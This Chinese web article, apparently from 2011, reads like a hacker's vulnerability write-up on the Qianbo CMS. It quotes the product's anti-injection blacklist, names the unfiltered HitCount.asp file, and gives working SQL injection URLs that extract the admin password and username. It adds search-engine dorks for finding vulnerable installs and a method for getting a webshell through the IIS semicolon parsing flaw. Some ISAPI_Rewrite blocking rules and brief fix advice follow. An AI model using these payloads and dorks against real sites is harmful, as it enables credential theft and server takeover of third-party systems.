您当前的位置:首页 > 最新文章/业内新闻

关于千博CMS系统

时间:2011-06-20 22:40:54  来源:心芯文章  作者:小猪ㄣ太子 178886820

 

关于千博CMS系统
程序都加入了防注入代码的,在NoSql.asp文件中7kccopyd-code
 
<%
If EnableStopInjection = True Then
    Dim Fy_Post, Fy_Get, Fy_In, Fy_Inf, Fy_Xh, Fy_db, Fy_dbstr
    Fy_In = "’|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
    Fy_Inf = Split(Fy_In, "|")
    If Request.Form<>"" Then
        For Each Fy_Post In Request.Form
            For Fy_Xh = 0 To UBound(Fy_Inf)
                If InStr(LCase(Request.Form(Fy_Post)), Fy_Inf(Fy_Xh))<>0 Then
                    Response.Write "<Script Language=JavaScript>alert(’警告:参数非法!’);</Script>"
                    Response.End
                End If
            Next
        Next
    End If
 
    If Request.QueryString<>"" Then
        For Each Fy_Get In Request.QueryString
            For Fy_Xh = 0 To UBound(Fy_Inf)
                If InStr(LCase(Request.QueryString(Fy_Get)), Fy_Inf(Fy_Xh))<>0 Then
                    Response.Write "<Script Language=JavaScript>alert(’警告:参数非法!’);</Script>"
                    Response.End
                    Response.End
                End If
            Next
        Next
    End If
End If
%>
 
 
没有过滤cookie,不过程序在对变量传入时都限制了整型的,所以我也没办法。
 
继续看。
 
MemberLogin.asp这个文件
 
 
Dim LoginName, LoginPassword, VerifyCode, MemName, Password, GroupID, GroupName, Working, rs, sql
LoginName = Trim(request.Form("LoginName"))
LoginPassword = Md5(request.Form("LoginPassword"))
Set rs = server.CreateObject("adodb.recordset")
sql = "select * from Qianbo_Members where MemName=’"&LoginName&"’"
 
 
没有加入防注入代码,不过却是登录验证页面,如果是MSsql数据库我们还好办点。
 
这个时候,在HitCount.asp这个文件里发现,文件没有调用防注入代码
 
<%
Dim rs, m_SQL
Dim m_ID
m_ID = ReplaceBadChar(Request.QueryString("id"))
m_LX = ReplaceBadChar(Request.QueryString("LX"))
action = ReplaceBadChar(Request.QueryString("action"))
If action = "count" Then
    conn.Execute("update "&m_LX&" set ClickNumber = ClickNumber + 1 where ID=" & m_ID & "")
Else
    m_SQL = "select ClickNumber from "&m_LX&" where ID=" & m_ID
    Set rs = conn.Execute(m_SQL)
    response.Write "document.write("&rs(0)&");"
    rs.Close
    Set rs = Nothing
End If
%>
 
 
就是这个文件了。我们来构造注入语句
如下:
http://127.0.0.1/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20password%20from%20qianbo_admin   获取管理密码
 
http://127.0.0.1/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20adminname%20from%20qianbo_admin
    获取管理帐号
 
关键字:
inurl:Search.asp?Range=Product&Keyword=
inurl:ProductBuy.asp?ProductNo=
 
SHELL
IISasp;分号解析漏洞还是害了不少人,千博企业网站管理系统.后台拿SHELL依旧是修改模板*.asp;*生成
 
解决方法还是老规,如果没有装过滤*.asp;*安全规则,那么就用ISAPI_Rewrite
 
[code]
RewriteRule ^/httpd(?:\.ini|\.parse\.errors).* [F,I,O]
RewriteRule .*\.mdb /block.gif [I,O]
RewriteRule .*\.asa /block.gif [I,O]
 
RewriteRule (.*)\.asp/(.*) /block.gif [I]
RewriteRule (.*)\.(.{3});(.*) /block.gif [I]
 
剩下的不多说了,话说这个后台源码价值50多万,不简单哦。哈哈。
漏洞补救:1.hitcount.asp文件修改下
          2.后台密码设置变态点,哈哈
其他的你们自己想吧,记住我的博客哈http://hack0day.qzone.com,最近人气不怎么地,特地来心姐这借点人气。
来顶一下
近回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
网页防篡改核心技术探讨(一)静态页面(原创)
网页防篡改核心技术探
Discuz! X2 SQL注射漏洞,支持Union
Discuz! X2 SQL注射漏
关于千博CMS系统
关于千博CMS系统
什么是robots.txt要怎么写?
什么是robots.txt要怎
相关文章
    无相关信息
栏目更新
栏目热门